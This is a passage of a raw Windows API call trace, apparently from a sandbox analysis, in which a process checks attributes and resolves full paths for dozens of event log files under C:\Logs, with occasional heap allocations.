"c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 0x20 [0117.656] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 0x20 [0117.656] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 0x20 [0117.656] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 0x20 [0117.657] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 0x20 [0117.658] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 0x20 [0117.658] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 0x20 [0117.659] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 0x20 [0117.659] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c374c0, Size=0x160) returned 0x382e398 [0117.659] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 0x20 [0117.659] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 0x20 [0117.659] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 0x20 [0117.660] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 0x20 [0117.660] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 0x20 [0117.661] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 0x20 [0117.661] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 0x20 [0117.661] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 0x20 [0117.662] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 0x20 [0117.662] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 0x20 [0117.662] GetFileAttributesA (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 0x20 [0117.662] GetFileAttributesA (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 0x20 [0117.663] GetFileAttributesA (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 0x20 [0117.663] GetFileAttributesA (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 0x20 [0117.663] GetFileAttributesA (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 0x20 [0117.664] GetFullPathNameA (in: lpFileName="C:\\Logs\\Application.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Application.evtx", lpFilePart=0x9bada4*="Application.evtx") returned 0x18 [0117.664] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0117.664] GetFullPathNameA (in: lpFileName="C:\\Logs\\HardwareEvents.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\HardwareEvents.evtx", lpFilePart=0x9bada4*="HardwareEvents.evtx") returned 0x1b [0117.664] GetFullPathNameA (in: lpFileName="C:\\Logs\\Internet Explorer.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Internet Explorer.evtx", lpFilePart=0x9bada4*="Internet Explorer.evtx") returned 0x1e [0117.664] GetFullPathNameA (in: lpFileName="C:\\Logs\\Key Management Service.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Key Management Service.evtx", lpFilePart=0x9bada4*="Key Management Service.evtx") returned 0x23 [0117.664] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0117.665] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx", lpFilePart=0x9bada4*="Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 0x37 [0117.665] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0117.665] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 0x56 [0117.665] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0117.665] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 0x4f [0117.665] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 0x35 [0117.665] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 0x38 [0117.665] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0117.666] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 0x41 [0117.666] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0117.666] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 0x40 [0117.666] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0117.666] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 0x36 [0117.666] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0117.666] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-AppReadiness%4Admin.evtx") returned 0x32 [0117.666] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-AppReadiness%4Operational.evtx") returned 0x38 [0117.666] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 0x3a [0117.667] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0117.667] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 0x40 [0117.667] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0117.667] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 0x3f [0117.667] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0117.667] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 0x39 [0117.667] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 0x48 [0117.667] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-Bits-Client%4Operational.evtx") returned 0x37 [0117.667] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0117.668] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 0x39 [0117.668] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0117.668] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 0x47 [0117.668] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 0x39 [0117.668] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 0x38 [0117.668] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 0x56 [0117.668] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 0x38 [0117.668] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 0x3e [0117.669] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 0x31 [0117.669] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 0x33 [0117.669] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 0x39 [0117.669] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 0x43 [0117.669] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 0x37 [0117.669] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 0x37 [0117.669] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 0x3b [0117.670] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-International%4Operational.evtx") returned 0x39 [0117.670] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 0x37 [0117.670] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 0x39 [0117.670] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 0x38 [0117.670] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 0x40 [0117.670] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 0x3d [0117.670] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 0x3b [0117.670] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 0x32 [0117.671] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 0x37 [0117.671] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-Known Folders API Service.evtx") returned 0x38 [0117.671] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-LiveId%4Operational.evtx") returned 0x32 [0117.671] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-MUI%4Admin.evtx") returned 0x29 [0117.671] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-MUI%4Operational.evtx") returned 0x2f [0117.671] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-NCSI%4Operational.evtx") returned 0x30 [0117.672] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 0x3a [0117.672] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-Ntfs%4Operational.evtx") returned 0x30 [0117.672] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-Ntfs%4WHC.evtx") returned 0x28 [0117.672] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 0x52 [0117.672] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 0x36 [0117.672] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 0x48 [0117.672] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-SettingSync%4Debug.evtx") returned 0x31 [0117.673] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-SettingSync%4Operational.evtx") returned 0x37 [0117.673] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 0x37 [0117.673] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-Shell-Core%4Operational.evtx") returned 0x36 [0117.673] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 0x36 [0117.673] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-SMBClient%4Operational.evtx") returned 0x35 [0117.673] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: 